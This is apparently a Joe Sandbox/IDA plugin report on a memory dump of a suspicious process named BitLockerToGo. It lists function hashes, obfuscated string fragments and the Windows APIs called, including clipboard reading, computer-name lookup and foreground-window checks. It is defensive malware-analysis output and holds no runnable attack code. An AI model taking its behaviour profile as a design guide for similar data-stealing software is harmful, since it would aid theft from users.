Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 9.
API String ID: 0-3220845746
Opcode ID: 777c80cead33f09d81cbab6db243f49e875268cad53d40fe9d4007dab8e425f3
Instruction ID: b2fa3e6f3e6fb128fe1ebaea8aef44d6a6eb515cdfb7d3fc60a1dce0c6074baa
Opcode Fuzzy Hash: 777c80cead33f09d81cbab6db243f49e875268cad53d40fe9d4007dab8e425f3
Instruction Fuzzy Hash: 1601F4746081109BD7288F14CC80B3673A0EB4A324F55632DFE54A73D1C3398C0197CD

Function 00410698 Relevance: .8, Instructions: 759COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2367075616557c33f7ffbe59e2a2c0268bee6d58cddcdd5f79e8d22a0b4a0a75
Instruction ID: c37e6478394e99d6c226e2b8045bd2617926b0e0af92e7ab6293a6faaa0b87d6
Opcode Fuzzy Hash: 2367075616557c33f7ffbe59e2a2c0268bee6d58cddcdd5f79e8d22a0b4a0a75
Instruction Fuzzy Hash: 3352F4B5A04B008FD714EF38D5853AABBE1AF89314F04893ED4DB87791E638E485CB46

Function 00436980 Relevance: .3, Instructions: 301COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b6bcf7040bbed57b8857a325a4d569f313bf0ba44939ac1ee392cd0bc1efbd62
Instruction ID: 3ef0172c1b0fd6102452f61b1f682a93a5c702fb0ee973861230a87bdf11b20f
Opcode Fuzzy Hash: b6bcf7040bbed57b8857a325a4d569f313bf0ba44939ac1ee392cd0bc1efbd62
Instruction Fuzzy Hash: B6715736B043119BD328DF18CC9267BB393EBD9314F26D43EDAD697391EB7458058684

Function 0040AF59 Relevance: .2, Instructions: 215COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f645e16e258cd7c0f8e2478ce1df4953a84b79102b81f51bf9cb67e95845a38
Instruction ID: dd1b00007a37aaeb0e23c46eaef9a59656b39fbe93189a0e2ad26de6f0aa502b
Opcode Fuzzy Hash: 4f645e16e258cd7c0f8e2478ce1df4953a84b79102b81f51bf9cb67e95845a38
Instruction Fuzzy Hash: D8611179104701CFD3218F64EC94B16B7B5FF8A311F168839F946876B1EB74A862CB19

Function 00409D39 Relevance: .2, Instructions: 153COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0615696a12da15777458fcf2419a99d2334abb0ad704679dba1f4d1373da7fa6
Instruction ID: 50319d9450d2bc1b12e559979c08195f63fb789cd929903e41858edafaf35703
Opcode Fuzzy Hash: 0615696a12da15777458fcf2419a99d2334abb0ad704679dba1f4d1373da7fa6
Instruction Fuzzy Hash: 3C4136706193054BD31CDF25C8527AFB792FFC6304F54DD7DE142CA2A9EB7885058A8A

Function 0040D307 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a131e69dfc0ff879a6e9dcd4b5edb0d3979d92747278feec77fe8072e7b7bb9b
Instruction ID: ec9ea2fa370fc3f4155ca673735427f0cab971e73592dcf601490d08f7a15edc
Opcode Fuzzy Hash: a131e69dfc0ff879a6e9dcd4b5edb0d3979d92747278feec77fe8072e7b7bb9b
Instruction Fuzzy Hash: 87218078610601DFD328CF19C880B26B7B2FF89310F199569E8558B3A5DB79E829CB84

Function 0040C885 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fed63a07b80184dd5c583fa40cd8ccaf258bfa8e81da5fbed10aa4f0cdac0a22
Instruction ID: 794fcfeaf2393bc4de24d234b0b73bc852a7d0c1d48979df45f9615cc5615d1c
Opcode Fuzzy Hash: fed63a07b80184dd5c583fa40cd8ccaf258bfa8e81da5fbed10aa4f0cdac0a22
Instruction Fuzzy Hash: B8C012B8B061429FC28A8F10ED889397675BB8BA0EB012928E513D3260CB208402AA1C

Function 0043B800 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 64
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlReAllocateHeap.NTDLL(?,00000000,,yC,00000000,?,00000000,0043792C,00000000,00004000,?,?,?,?,?,?,?), ref: 0043B832

Strings

,yC, xrefs: 0043B806, 0043B82C, 0043B86F

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID: AllocateHeap
String ID: ,yC
API String ID: 1279760036-3745428483
Opcode ID: 5d1e9913e8770d5a97fdd42fa78f7a2d659a10438cdbc160b2d273c72e304128
Instruction ID: 33fd48210bbda35ad11459605df245acdc4e14f42742f7d3b222364fd982cad6
Opcode Fuzzy Hash: 5d1e9913e8770d5a97fdd42fa78f7a2d659a10438cdbc160b2d273c72e304128
Instruction Fuzzy Hash: 92F0AFFA548210DFC2045F24BC01A973768AF8F315F035479F80943221DB3AE414C69B

Function 00435112 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 58
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetUserDefaultUILanguage.KERNELBASE ref: 0043513B

Strings

jw, xrefs: 0043514F

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID: DefaultLanguageUser
String ID: jw
API String ID: 95929093-279606605
Opcode ID: 8fd143bed7b4565bde4c5d5bd80363675cd6eb861a49e854194b01a760ecf153
Instruction ID: 31f33ac9812ae1d53d5c8aaf197ee06a540952fd9b70975da2aecf9ed20f900e
Opcode Fuzzy Hash: 8fd143bed7b4565bde4c5d5bd80363675cd6eb861a49e854194b01a760ecf153
Instruction Fuzzy Hash: 57110832A1AB504BC7288F39C9503AAB7D26FC9710F5AAB3DD895873D4DA388801C706

Function 0040C946 Relevance: 3.1, APIs: 2, Instructions: 120
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitializeEx.OLE32(00000000,00000002), ref: 0040C94A
CoInitializeEx.COMBASE(00000000,00000002), ref: 0040CA8E

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 8089acbefa084f7ef2651a4c6fa76e1977f34e7290a4e2dd1fa490c46b165ff3
Instruction ID: 269ea005b952a61152a448765d35d9cf6bfb96e117828a87c9f9db2dbc4edc09
Opcode Fuzzy Hash: 8089acbefa084f7ef2651a4c6fa76e1977f34e7290a4e2dd1fa490c46b165ff3
Instruction Fuzzy Hash: 0741E6B4D10B40AFD370EF39CA0B7127EB4AB05250F504B2DF9EA866D4E635A4198BD7

Function 0042BF8A Relevance: 1.6, APIs: 1, Instructions: 107COMMON

Download Yara Rule

APIs

GetComputerNameExA.KERNELBASE(00000006,?,00000100), ref: 0042C0A1

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID: ComputerName
String ID:
API String ID: 3545744682-0
Opcode ID: 0ef94f9000e4fa4065d14da9d66028db5585366479a6b6835adb188af45f5b00
Instruction ID: 1c95711534b0e00a0aa94289c6828f8df1262393bc50859e910db5b8208d93bc
Opcode Fuzzy Hash: 0ef94f9000e4fa4065d14da9d66028db5585366479a6b6835adb188af45f5b00
Instruction Fuzzy Hash: FE31293261C79187C72A8F34D8507EB7BE2AFCB305F88856DD4CA9B291D7354406C746

Function 0042BF88 Relevance: 1.6, APIs: 1, Instructions: 94COMMON

Download Yara Rule

APIs

GetComputerNameExA.KERNELBASE(00000006,?,00000100), ref: 0042C0A1

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID: ComputerName
String ID:
API String ID: 3545744682-0
Opcode ID: 4bc0424f0c91a3473afd753e943cd2a984b264c4950c3bc1bd7e5cd3455c717b
Instruction ID: dc45a77adc038e9641dbfc558196eecdfe656b94b3adc5cf68800eb90a64c239
Opcode Fuzzy Hash: 4bc0424f0c91a3473afd753e943cd2a984b264c4950c3bc1bd7e5cd3455c717b
Instruction Fuzzy Hash: 6F21277261865187C7298F30D8517DB77A2ABCB305F88C53DD4CA9B291DB340406C786

Function 0042BF2F Relevance: 1.6, APIs: 1, Instructions: 93COMMON

Download Yara Rule

APIs

GetComputerNameExA.KERNELBASE(00000006,?,00000100), ref: 0042C0A1

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID: ComputerName
String ID:
API String ID: 3545744682-0
Opcode ID: aeb064ca5cfb78ac6912e124f915a8d66ec1b88869630cfda61cc37693389921
Instruction ID: 9bd453f60cb619137add31752274503119b01500be904c84702a9a637c675632
Opcode Fuzzy Hash: aeb064ca5cfb78ac6912e124f915a8d66ec1b88869630cfda61cc37693389921
Instruction Fuzzy Hash: B4214572B1865187C7298F34D8507EBB7E2ABCB305F88C53DC4CA9B291EA340806C782

Function 0043B9DD Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 0043BA3B

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: 2b8e04cabfe00ad42552470da3ea8c51232b6cecaaf7991224432e00482ef3bf
Instruction ID: ae2376af06e43d591e544aa1d100e19403503e7caaec75d4ad812d5730cd0d8f
Opcode Fuzzy Hash: 2b8e04cabfe00ad42552470da3ea8c51232b6cecaaf7991224432e00482ef3bf
Instruction Fuzzy Hash: 27017BBBC152304FC718DF68DD4069A33A4E7C1305F06E67DEC45AB220EB79990687CA

Function 0040CAB7 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 0040CAE5

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID: InitializeSecurity
String ID:
API String ID: 640775948-0
Opcode ID: b345dab2524d561905fef3b01f005a64e6cd4460623fa95d17846ecb88945d2d
Instruction ID: d11aeb08f2805c5f0aad2d3c517a9dc16d9abdece8bbcf387af0b6eb180b2945
Opcode Fuzzy Hash: b345dab2524d561905fef3b01f005a64e6cd4460623fa95d17846ecb88945d2d
Instruction Fuzzy Hash: 1FE0927028434177E2225B289D57F5437515B02B60F240759F3E1EE2D6C9E07101850C

Function 0042D526 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 0042D56B

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: 062d0a6d3dd76c98753908fade2de77ad8c8f7e68bd7143df4126e6766d6e360
Instruction ID: 94eff057e395c15a7efe109b129d3175210669c0d52992a7800d15db9272d1b1
Opcode Fuzzy Hash: 062d0a6d3dd76c98753908fade2de77ad8c8f7e68bd7143df4126e6766d6e360
Instruction Fuzzy Hash: E3F074B45097018FD354DF68D4A871BBBE0EB85304F11882CE5998B291DBB6A558CF86

Function 0043BA2D Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 0043BA3B

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: f69193f1f452a33e5ec320b770d671c9ec50282a28d43311b2e95074ca0a3c72
Instruction ID: e75b93aa63c92e233c5a34bfb4cd482a6e30767127076f34543c5c249691ecbb
Opcode Fuzzy Hash: f69193f1f452a33e5ec320b770d671c9ec50282a28d43311b2e95074ca0a3c72
Instruction Fuzzy Hash: 9FE092BFD021148FD714EFA0EC105543761F786319705827CDC1517211DA39691BC7C4

Function 00430569 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 004305AC

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: 8dcff309c6ae7edc8a12e65a504d0c3619956fdc6f5f9a6ce592b71dbf4d3e24
Instruction ID: 2191a691f1676ea1963644dabb8b0ea44723e772f2b4e0db76d62e2edecdfe6e
Opcode Fuzzy Hash: 8dcff309c6ae7edc8a12e65a504d0c3619956fdc6f5f9a6ce592b71dbf4d3e24
Instruction Fuzzy Hash: 26F074B05097058FE354DF14D4A8B5BBBF0BB89314F11881DE09A8B391D7B5A648CF82

Function 0043A2A0 Relevance: 1.5, APIs: 1, Instructions: 15memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,00000000,00000000,004140DF,00000000), ref: 0043A2C0

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 7251222d94dd1d3facac15d7c2bfa60f6c733de751ea4508c3315d3f2373ab22
Instruction ID: ab5d903c12688676c9f1e99bc377567e9c78a850a27ed3e97b7aac3b680b9858
Opcode Fuzzy Hash: 7251222d94dd1d3facac15d7c2bfa60f6c733de751ea4508c3315d3f2373ab22
Instruction Fuzzy Hash: 7BD0C975409122EBC6902F28BC15BDB3B649F4A731F0708A2F8406A069C665AC918AD8

Function 0043A280 Relevance: 1.5, APIs: 1, Instructions: 9memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,004087C1,?,004087C1,00001388), ref: 0043A290

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: f1522b5dab1cf2da11f37c44463eac122e6e562cc74522ac74552970da84ba70
Instruction ID: f97d0d59657208641b7809d7aa9df25db84e5ea9402b5a29a6046ea1d043b816
Opcode Fuzzy Hash: f1522b5dab1cf2da11f37c44463eac122e6e562cc74522ac74552970da84ba70
Instruction Fuzzy Hash: E0C04871049121AACA502F15FC09BCA3F68AF8A360F0A10A6B844660B1C661BC828A98

Non-executed Functions

Function 00411BB0 Relevance: 50.6, Strings: 39, Instructions: 1804COMMON

Download Yara Rule

Strings

D, xrefs: 0041334D
Fu, xrefs: 0041326F
1, xrefs: 004123C7
#, xrefs: 00412C45
53, xrefs: 00411E9F
ku, xrefs: 004131D9
wu, xrefs: 004131A7
u, xrefs: 0041320B
W:, xrefs: 00411CD8
D, xrefs: 0041373C
r!, xrefs: 00412513
Ou, xrefs: 00413229
hu, xrefs: 004131E3
`, xrefs: 0041239F
su, xrefs: 004131CF
$u, xrefs: 0041323D
a, xrefs: 0041274B
ou, xrefs: 00413193
u, xrefs: 00413233
iu, xrefs: 004131C5
G, xrefs: 00412381
YL, xrefs: 00412811
:, xrefs: 00412769
u, xrefs: 0041321F
`, xrefs: 004128B4
J, xrefs: 004123B3
$N, xrefs: 00411F07
eu, xrefs: 004131B1
gu, xrefs: 004131BB
f, xrefs: 004123A9
5u, xrefs: 004131ED
i, xrefs: 00412395
_L, xrefs: 004127F3
Wu, xrefs: 004131F7
Vu, xrefs: 0041319D
4, xrefs: 00412755
=, xrefs: 0041275F
ou, xrefs: 00413189
., xrefs: 00412A36

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: u$u$ u$#$$N$$u$1$4$53$5u$:$=$D$D$Fu$G$J$Ou$Vu$W:$Wu$YL$_L$`$`$a$eu$f$gu$hu$iu$i$ku$ou$ou$r!$su$wu$.
API String ID: 0-1297114619
Opcode ID: 58b6f396e5f66a77703e977543d4979c921445a7395f89a2492088771659af1e
Instruction ID: 3d25608720fc248fed8d15c48dbd04b497e5b2bc4c78e1578a4b9e3efca3bb82
Opcode Fuzzy Hash: 58b6f396e5f66a77703e977543d4979c921445a7395f89a2492088771659af1e
Instruction Fuzzy Hash: 39F2AC7551C3808BC324AF29C5853EFBBE1AF85310F14892EE9D997391E7788981CB4B

Function 00431C10 Relevance: 43.9, APIs: 2, Strings: 23, Instructions: 173COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 00431C52
GetSystemMetrics.USER32 ref: 00431C62

Strings

'C, xrefs: 00431E60
'C, xrefs: 00431ECE
o%C, xrefs: 00431DD1
i"C, xrefs: 00431F10
H%C, xrefs: 00431E8C
'C, xrefs: 00431E13
(&C, xrefs: 00431EEF
'C, xrefs: 00431E55
"C, xrefs: 00431E97
$)C, xrefs: 00431DE7
, xrefs: 00431D4F
?(C, xrefs: 00431DF2
'C, xrefs: 00431EAD
'C, xrefs: 00431E34
'C, xrefs: 00431E76
'C, xrefs: 00431EB8
'C, xrefs: 00431ED9
L&C, xrefs: 00431EE4
$%C, xrefs: 00431E4A
'C, xrefs: 00431EFA
'C, xrefs: 00431E81
p!C, xrefs: 00431EC3
'C, xrefs: 00431F05

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID: MetricsSystem
String ID: $ "C$$%C$$)C$(&C$?(C$H%C$L&C$i"C$o%C$p!C$'C$'C$'C$'C$'C$'C$'C$'C$'C$'C$'C$'C
API String ID: 4116985748-1337545606
Opcode ID: 5ba615d0c2055df3fecca8f494ee0eeee7678f8c4cc7a0e6020c1d6db8d3eef0
Instruction ID: 8044c1868bac973a8dda2efc51331480648de41511a2985fbe6f7e63c9d69fb2
Opcode Fuzzy Hash: 5ba615d0c2055df3fecca8f494ee0eeee7678f8c4cc7a0e6020c1d6db8d3eef0
Instruction Fuzzy Hash: 52B15CB44097849FE774DF15E58978ABBF0BBC5308F00891EE5988B351D7B89948CF8A

Function 0040D9ED Relevance: 24.3, APIs: 1, Strings: 15, Instructions: 305COMMON

Download Yara Rule

APIs

CoUninitialize.OLE32 ref: 0040D9F4

Strings

"=6=, xrefs: 0040DBD4
q=l=, xrefs: 0040DBF0
&=O=, xrefs: 0040DC2F
<=)=, xrefs: 0040DC13
)=k=, xrefs: 0040DC1A
1=g=, xrefs: 0040DBDB
6= =, xrefs: 0040DC0C
8=1=, xrefs: 0040DC05
$='=, xrefs: 0040DC28
}=p=, xrefs: 0040DC6E
#=<=, xrefs: 0040DBFE
9=+=, xrefs: 0040DBE9
,="=, xrefs: 0040DBF7
!=s=, xrefs: 0040DC21
3=2=, xrefs: 0040DBCD

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID: Uninitialize
String ID: !=s=$"=6=$#=<=$$='=$&=O=$)=k=$,="=$1=g=$3=2=$6= =$8=1=$9=+=$<=)=$q=l=$}=p=
API String ID: 3861434553-2084406169
Opcode ID: b23ca35d2ca6ed04d69cbad4dac612794351e0670c1052edcc4022b74a7f11f3
Instruction ID: c8467379c40931654f9108cc5a18d97ccb743dfa112c618ed77d89b6e048be37
Opcode Fuzzy Hash: b23ca35d2ca6ed04d69cbad4dac612794351e0670c1052edcc4022b74a7f11f3
Instruction Fuzzy Hash: 68B1E2B4A047428BD728CF69C490222FBF1FF9630071885AEC4D68F796D739E845CB96

Function 00423470 Relevance: 17.1, Strings: 13, Instructions: 806COMMON

Download Yara Rule

Strings

G;W;, xrefs: 004239AC
g;<;, xrefs: 004239F2
]:\:, xrefs: 00423A70
V:V:, xrefs: 00423A99
W;_;, xrefs: 004239BA
[;D;, xrefs: 004239D6
Q;T;, xrefs: 004239B3
@;F;, xrefs: 004239CF
.;G;, xrefs: 004239C1
u`F, xrefs: 00423C97
k;C;, xrefs: 004239C8
>;G;, xrefs: 004239F9
c:`:, xrefs: 00423A69

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: .;G;$>;G;$@;F;$G;W;$Q;T;$V:V:$W;_;$[;D;$]:\:$c:`:$g;<;$k;C;$u`F
API String ID: 0-3103227700
Opcode ID: cf5f6cfcfcc8c34ddac180bef316d3683c96ab5eb13888d248b4c790b45a638b
Instruction ID: 028213aa433ddf288215a5674f5d4d0f941e1b1d4c6d6926550f47548b27ddf9
Opcode Fuzzy Hash: cf5f6cfcfcc8c34ddac180bef316d3683c96ab5eb13888d248b4c790b45a638b
Instruction Fuzzy Hash: 776279B5904728DFCB24CF59D881A99BBB1FF45300F4681ACC95A6F326DB35A952CF80

Function 004282FF Relevance: 14.0, Strings: 11, Instructions: 280COMMON

Download Yara Rule

Strings

'r0r, xrefs: 00428244
1r6r, xrefs: 00428252
2r_r, xrefs: 00428267
8r(r, xrefs: 00428228
2r3r, xrefs: 00428205
>r.r, xrefs: 0042822F
%r$r, xrefs: 0042824B
2r&r, xrefs: 00428213
4rzr, xrefs: 00428236
4rur, xrefs: 00428259
$r0r, xrefs: 00428260

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: $r0r$%r$r$'r0r$1r6r$2r&r$2r3r$2r_r$4rur$4rzr$8r(r$>r.r
API String ID: 0-2425828681
Opcode ID: e205d00ee8b9a4674dc0b4fac78f282993e04d376fffca3607ecebd0d495f633
Instruction ID: 81cc660f109df6557e9303301d4da439a098a7d82eeea6cd058469eeb5b93a8e
Opcode Fuzzy Hash: e205d00ee8b9a4674dc0b4fac78f282993e04d376fffca3607ecebd0d495f633
Instruction Fuzzy Hash: 978113B19002159FD7A49FAAD941B6ABA70FB49710F5101ECF900AF3AACB70C851CFD9

Function 0040AA40 Relevance: 12.9, Strings: 10, Instructions: 366COMMON

Download Yara Rule

Strings

T#, xrefs: 0040AAA3, 0040AA76
O!, xrefs: 0040AC62, 0040AC66
!w, xrefs: 0040AAE8
2&, xrefs: 0040AAC4
2&, xrefs: 0040AAE0
T#, xrefs: 0040AAD0
a|, xrefs: 0040AB00
M@, xrefs: 0040AB90
#", xrefs: 0040AAD8
);, xrefs: 0040AAF8

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: !w$#"$);$2&$2&$M@$O!$T#$T#$a|
API String ID: 0-3803853066
Opcode ID: 69a5a64790731de0feb230137af4b1b82fe8995f99c315a87f0ff6618fa1f260
Instruction ID: acfacfabb2a5029957ff4e17980624ce5e54fff5e14e6eddc0bb2ddcddbd3dc1
Opcode Fuzzy Hash: 69a5a64790731de0feb230137af4b1b82fe8995f99c315a87f0ff6618fa1f260
Instruction Fuzzy Hash: 49C100766083508BC714CF25D4902ABBAE2EFD1300F29493EE8D66B391D77989198BC7

Function 00431AA0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 97clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00431AB0
GetClipboardData.USER32 ref: 00431ACB
GlobalLock.KERNEL32 ref: 00431AE4
GetWindowLongW.USER32 ref: 00431B47
GlobalUnlock.KERNEL32 ref: 00431BE2
CloseClipboard.USER32 ref: 00431BED

Strings

,L, xrefs: 00431B74

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID: Clipboard$Global$CloseDataLockLongOpenUnlockWindow
String ID: ,L
API String ID: 2832541153-125990122
Opcode ID: 583a4a280218dd810b366a662b4e29d21043c6b3543188f5b4f9a14212bd8230
Instruction ID: 0e5153eb2e66eae60bb3f0c5dcad715d332eda572643828ea14e568d64c61237
Opcode Fuzzy Hash: 583a4a280218dd810b366a662b4e29d21043c6b3543188f5b4f9a14212bd8230
Instruction Fuzzy Hash: 6A318AB55083118EC304BFB8D58536EBBF0EF95354F01283EE4C6972A1E6389589C75B

Function 0041D1E0 Relevance: 12.1, Strings: 9, Instructions: 844COMMON

Download Yara Rule

Strings

TNm\, xrefs: 0041D538
XUYL, xrefs: 0041D558
F^WQ, xrefs: 0041D508
FUKL, xrefs: 0041D510
DN}\, xrefs: 0041D4F8
f4P4, xrefs: 0041D5DF
_WCR, xrefs: 0041D528
T^iQ, xrefs: 0041D550
GRO], xrefs: 0041D520

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: DN}\$FUKL$F^WQ$GRO]$TNm\$T^iQ$XUYL$_WCR$f4P4
API String ID: 0-2031968443
Opcode ID: 6835ad1e5348a96bb07f015d60c442263b8aca0fee0772344b8169b30b5a1a47
Instruction ID: c005d7f4e58b4f5752065deb673c861d2062528606b7a60b532c08cc6f8db72c
Opcode Fuzzy Hash: 6835ad1e5348a96bb07f015d60c442263b8aca0fee0772344b8169b30b5a1a47
Instruction Fuzzy Hash: A44249B090C3518FC725DF24C8407ABBBE1EF85314F04866EE8E95B392D7399946CB96

Function 00417941 Relevance: 11.5, Strings: 9, Instructions: 295COMMON

Download Yara Rule

Strings

##, xrefs: 00417ABD
M#X#, xrefs: 00417994
@#O#, xrefs: 0041797E
G#;#, xrefs: 00417989
Y#S#, xrefs: 0041799F
[#@#, xrefs: 00417973
